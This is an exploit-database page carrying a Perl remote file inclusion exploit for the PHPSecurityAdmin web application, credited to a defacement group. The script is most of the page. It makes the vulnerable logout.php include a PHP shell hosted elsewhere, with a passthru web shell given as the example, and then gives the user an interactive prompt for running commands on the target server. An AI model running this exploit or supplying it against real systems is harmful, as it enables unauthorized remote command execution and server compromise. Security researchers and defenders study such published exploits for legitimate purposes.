PHPSecurityAdmin Remote File Include Exploit

Advisory Text :

#!/usr/bin/perl
use LWP::UserAgent;
#/*
#+**************************************************************
#- AYYILDIZ TEAM // AYYILDIZ.ORG
#+
#+**************************************************************
#+
#- PHPSecurityAdmin <= Remote File Include Exploit
#+
#+**************************************************************
#+
#- [Script name: PHPSecurityAdmin
#- [Script site: http://sourceforge.net/projects/phpsecurityadm/
#+
#+**************************************************************
#+
#- Coded by iLker Kandemir
#+
#- Contact: ilkerkandemir<at>mynet<dot>com
#-
#- info: */ Siz Yokken AYYILDIZ Vardi */
#+
#+**************************************************************
#+
#- tnx: h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann And AYYILDIZ.ORG
#-
#- h0tturk.com, expw0rm.com, turkistiklal.com, evilc0der.com
#!
#+
#+**************************************************************
# usage:
# perl exploit.pl <PSA Locaction> <shell location> <shell cmd>
#
# perl exploit.pl http://site.com/[PSA_Path]/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
#
$ayt = $ARGV[0];

$aytcmd = $ARGV[1];

$kumanda = $ARGV[2];

if($ayt!~/http:/// || $aytcmd!~/http:/// || !$kumanda){usage()}

head();

while()
{
print "[shell] $";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);

$xpl = LWP::UserAgent->new() or die;

$req = HTTP::Request->new(GET=>$ayt.
'/phpsecurityadmin/include/logout.php?PSA_PATH='.$aytcmd.'?&'.$kumanda.'
='.$cmd)or die "nCouldNot connectn";
$res = $xpl->request($req);

$return = $res->content;
$return =~ tr/[n]/[ê]/;

if (!$cmd) {print "nEnter a Commandnn"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return
=~/: Cannot executea blank command in <b>/)

{print "nCould Not Connect to cmd Host or Invalid Command Variablen";exit}

elsif ($return =~/^<br./>.<b>Warning/) {print "nInvalid Commandnn"}

if($return =~ /(.+)<br./>.<b>Warning.(.+)<br./>.<b>Warning/)
{

$finreturn = $1;
$finreturn=~ tr/[ê]/[n]/;
print "rn$finreturnnr";
last;

}
else {print "[shell] $";}}}last;

sub head()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n";
print "+ AYYILDIZ TEAM // AYYILDIZ.ORG
+n";
print "+ PHPSecurityAdmin <= Remote File Include Exploit +n";
print "+ AYYILDIZ.ORG
+n";
print "+ iLker Kandemir [ O Bir Dunya Markasi ]
+n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n";
}
sub usage()
{
head();
print " Usage: perl exploit.pl <PSA Locaction> <shell location> <shell
cmd>rnn";
print " <PSA Locaction> - Full path to PSA ex:
http://www.xxx-site.com/rn";
print " <shell location> - Path to cmd Shell e.g
http://www.xxx-host.com/cmd.txtrn";
print " <shell cmd> - Command variable used in php shell rn";
print "
========================================================================
====rn";
print " Find by: iLker Kandemir
rn";
print " ilkerkandemir (at) mynet (dot) com [email
concealed] rn";
print " Thnx:h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann
rn";
print "
========================================================================
====rn";

exit();
}

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

PHPSecurityAdmin Remote File Include Exploit